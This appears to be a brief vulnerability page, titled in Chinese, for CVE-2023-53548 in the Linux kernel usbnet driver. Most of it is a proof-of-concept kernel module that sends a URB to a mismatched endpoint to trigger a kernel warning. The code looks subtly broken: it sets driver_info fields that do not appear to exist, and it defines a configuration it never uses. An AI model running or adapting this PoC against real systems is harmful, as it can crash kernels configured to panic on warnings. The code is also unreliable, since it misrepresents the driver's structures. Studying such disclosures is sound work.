CVE-2023-53548 Linux内核usbnet驱动端点验证缺失漏洞

// CVE-2023-53548 PoC - Trigger BOGUS urb warning in usbnet driver // This PoC demonstrates how to trigger the vulnerability by submitting // a URB with mismatched pipe type through the usbnet driver #include <linux/module.h> #include <linux/usb.h> #include <linux/netdevice.h> #include <linux/etherdevice.h> // Malicious driver_info with invalid endpoint configuration static const struct driver_info malicious_info = { .description = "Malicious USB Network Device", // Intentionally set bulk_in and bulk_out to invalid endpoints // that don't match the actual endpoint types .bulk_in = 0x83, // Endpoint with wrong type (e.g., interrupt instead of bulk) .bulk_out = 0x03, // Endpoint with wrong type or direction .flags = FLAG_ETHER | FLAG_POINTTOPOINT, }; // Simulate the vulnerable code path static int trigger_vuln(struct usbnet *dev, struct sk_buff *skb) { struct urb *urb; int retval; // Allocate URB for transmission urb = usb_alloc_urb(0, GFP_ATOMIC); if (!urb) return -ENOMEM; // Fill URB with bulk transfer setup using potentially invalid endpoint usb_fill_bulk_urb(urb, dev->udev, usb_sndbulkpipe(dev->udev, dev->driver_info->bulk_out), skb->data, skb->len, NULL, skb); // This submission will trigger the WARNING if endpoint is invalid retval = usb_submit_urb(urb, GFP_ATOMIC); // Expected output: // usb 1-1: BOGUS urb xfer, pipe 3 != type 1 // WARNING: CPU: 0 PID: 754 at drivers/usb/core/urb.c:504 usb_submit_urb usb_free_urb(urb); return retval; } MODULE_LICENSE("GPL");